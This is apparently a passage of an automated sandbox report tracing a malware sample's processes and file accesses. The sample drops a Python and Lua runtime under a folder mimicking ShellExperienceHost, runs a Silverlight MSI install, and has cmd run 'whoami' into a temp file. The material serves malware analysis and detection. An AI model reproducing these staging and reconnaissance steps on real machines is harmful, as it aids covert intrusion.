        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\VCRUNTIME140.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UCRTBASE.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-PROCESS-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONIO-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37._PTH
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.ZIP
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\KERNEL32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\DISTUTILS-PRECEDENCE.PTH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32.PTH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_BOOTSTRAP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_BOOTSTRAP.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_HASHLIB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON3.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBCRYPTO-1_1-X64.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SOCKET.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SELECT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SSL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBSSL-1_1-X64.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_BZ2.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_LZMA.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UNICODEDATA.PYD
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\RASADHLP.DLL
        C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
      - 4928
        
        Image path
        
        "C:\WINDOWS\SYSTEM32\CMD.EXE" /C WHOAMI > C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\NVRNLE489LAX2GQG.TXT && ECHO SUCCESS > C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\A3FB11I7ZNAQRVGE.TXT
        
        Time lapse
        
        167.957661
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WINBRAND.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\EN-US\CMD.EXE.MUI
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\NVRNLE489LAX2GQG.TXT
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\WHOAMI.EXE
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\A3FB11I7ZNAQRVGE.TXT
        
        Process children
        
        4984
        
        Image path
        
        WHOAMI
        
        Time lapse
        
        168.359669
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WHOAMI.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\NVRNLE489LAX2GQG.TXT

3528
- Image path
  - "C:\MALWARE\75E03F40A088903579A436C0D8E8BC3D0D71CF2942AD793CC948F36866A2E1AD.EXE"
- Time lapse
  - 17.598234
- Files Accessed
  - C:\MALWARE
    C:\WINDOWS\SYSTEM32\SECHOST.DLL
    C:\WINDOWS\SYSTEM32\SECUR32.DLL
    C:\WINDOWS\SYSTEM32\SSPICLI.DLL
    C:\WINDOWS\SYSTEM32\IMM32.DLL
    C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
    C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\SILVERLIGHT.EXE
    C:\PROGRAMDATA\LUA\LUAC.EXE
    C:\WINDOWS\SYSTEM32\TZRES.DLL
    C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
    C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
    C:\WINDOWS\SYSTEM32\RPCSS.DLL
    C:\WINDOWS\REGISTRATION\R00000000000C.CLB
    C:\WINDOWS\SYSTEM32\TASKSCHD.DLL
    C:\WINDOWS\SYSTEM32\XMLLITE.DLL

3852
- Image path
  - C:\WINDOWS\SYSTEM32\MSIEXEC.EXE /V
- Time lapse
  - 33.744263
- Files Accessed
  - C:\WINDOWS\SYSTEM32\SECHOST.DLL
    C:\WINDOWS\SYSTEM32\MSI.DLL
    C:\WINDOWS\SYSTEM32\APPHELP.DLL
    C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
    C:\WINDOWS\SYSTEM32\MSIEXEC.EXE
    C:\WINDOWS\APPPATCH\APPPATCH64\ACLAYERS.DLL
    C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
    C:\WINDOWS\SYSTEM32\MPR.DLL
    C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
    C:\WINDOWS\SYSTEM32\SSPICLI.DLL
    C:\WINDOWS\SYSTEM32\SFC.DLL
    C:\WINDOWS\SYSTEM32\SFC_OS.DLL
    C:\WINDOWS\SYSTEM32\USERENV.DLL
    C:\WINDOWS\SYSTEM32\PROFAPI.DLL
    C:\WINDOWS\SYSTEM32\DWMAPI.DLL
    C:\WINDOWS\SYSTEM32\IMM32.DLL
    C:\WINDOWS\SYSTEM32\EN-US\MSIEXEC.EXE.MUI
    C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
    C:\WINDOWS\WINDOWSSHELL.MANIFEST
    C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
    C:\WINDOWS\SYSTEM32\RPCSS.DLL
    C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
    C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
    C:\WINDOWS\SYSTEM32\RSAENH.DLL
    C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
    C:\WINDOWS\SYSTEM32\MSIMSG.DLL
    C:\WINDOWS\SYSTEM32\EN-US\MSIMSG.DLL.MUI
    C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\SILVERLIGHTMSI.LOG
    C:\WINDOWS\SYSTEM32\NETAPI32.DLL
    C:\WINDOWS\SYSTEM32\NETUTILS.DLL
    C:\WINDOWS\SYSTEM32\SRVCLI.DLL
    C:\WINDOWS\SYSTEM32\WKSCLI.DLL
    C:\F0E543E3CE57499DFE\SILVERLIGHT.MSI
    C:\WINDOWS\INSTALLER\142AA.MSI
    C:\WINDOWS\SYSTEM32\MSISIP.DLL
    C:\WINDOWS\SYSTEM32\EN-US\CRYPT32.DLL.MUI
    C:\WINDOWS\SYSTEM32\NCRYPT.DLL
    C:\WINDOWS\SYSTEM32\BCRYPT.DLL
    C:\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
    C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
    C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
    C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
    C:\WINDOWS\SYSTEM32\GPAPI.DLL
    C:\WINDOWS\SYSTEM32\WINSTA.DLL
    C:\WINDOWS\APPPATCH\SYSMAIN.SDB
    C:\WINDOWS\APPPATCH\MSIMAIN.SDB
    C:\WINDOWS\SYSTEM32\VERSION.DLL
    C:\WINDOWS\SYSTEM32\SXS.DLL
    C:\WINDOWS\SYSTEM32\EN-US\SXS.DLL.MUI
    C:\WINDOWS\SYSTEM32\MSCOREE.DLL
    C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL
    C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL
    C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL
    C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\FUSION.DLL
    C:\WINDOWS\SYSTEM32\RSTRTMGR.DLL
    C:\WINDOWS\FONTS\SSERIFE.FON
    C:\MSI142AB.TMP
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\000041091A0090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109210000000100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109340000000100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109340090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109610090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109810090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109A10090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109B10090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109E60090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109F10090400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109F100A0C00100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109F100C0400100000000F01FEC\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\68AB67CA7DA73301B744CAF070E41400\CACHESIZE.TXT
    C:\WINDOWS\INSTALLER\142AC.IPI
    C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF2295F69A6D9B3DFB.TMP
    C:\WINDOWS\INSTALLER\MSI444F.TMP
    C:\CONFIG.MSI\MSI446F.TMP
    C:\CONFIG.MSI\142AD.RBS
    C:\WINDOWS\INSTALLER\142AE.MSI
    C:\WINDOWS\INSTALLER\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}\ARPICON
    C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
    C:\WINDOWS\SYSTEM32\DEVRTL.DLL
    C:\CONFIG.MSI\MSI44FD.TMP
    C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF53B287709A390A8E.TMP
    C:\WINDOWS\REGISTRATION\R00000000000C.CLB
    C:\WINDOWS\INSTALLER\142AF.MSP
    C:\F0E543E3CE57499DFE\SILVERLIGHT.MSP
    C:\MSI142B0.TMP
    C:\WINDOWS\INSTALLER\142B1.IPI
    C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF54E8534E7EECA26B.TMP
    C:\WINDOWS\INSTALLER\MSI4A7A.TMP
    C:\WINDOWS\INSTALLER\MSI4A9A.TMP
    C:\CONFIG.MSI\MSI4C6F.TMP
    C:\CONFIG.MSI\142B2.RBS
    C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\D7314F9862C648A4DB8BE2A5B47BE100\1.0.0
    C:\WINDOWS\SYSTEM32\CABINET.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\SLLAUNCHER.EXE
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATION.EXE
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATIONUI.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AGCORE.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NPCTRL.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NPCTRLUI.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLMSPRBOOTSTRAP.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AGCP.EXE
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\XAPAUTHENTICODESIP.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.SHADERS.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.BROWSER.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.RUNTIMEHOST.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.XNA.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLR.DLL.MANAGED_MANIFEST
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\MSCORLIB.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\SYSTEM.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.WEB.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\MSCORRC.DLL
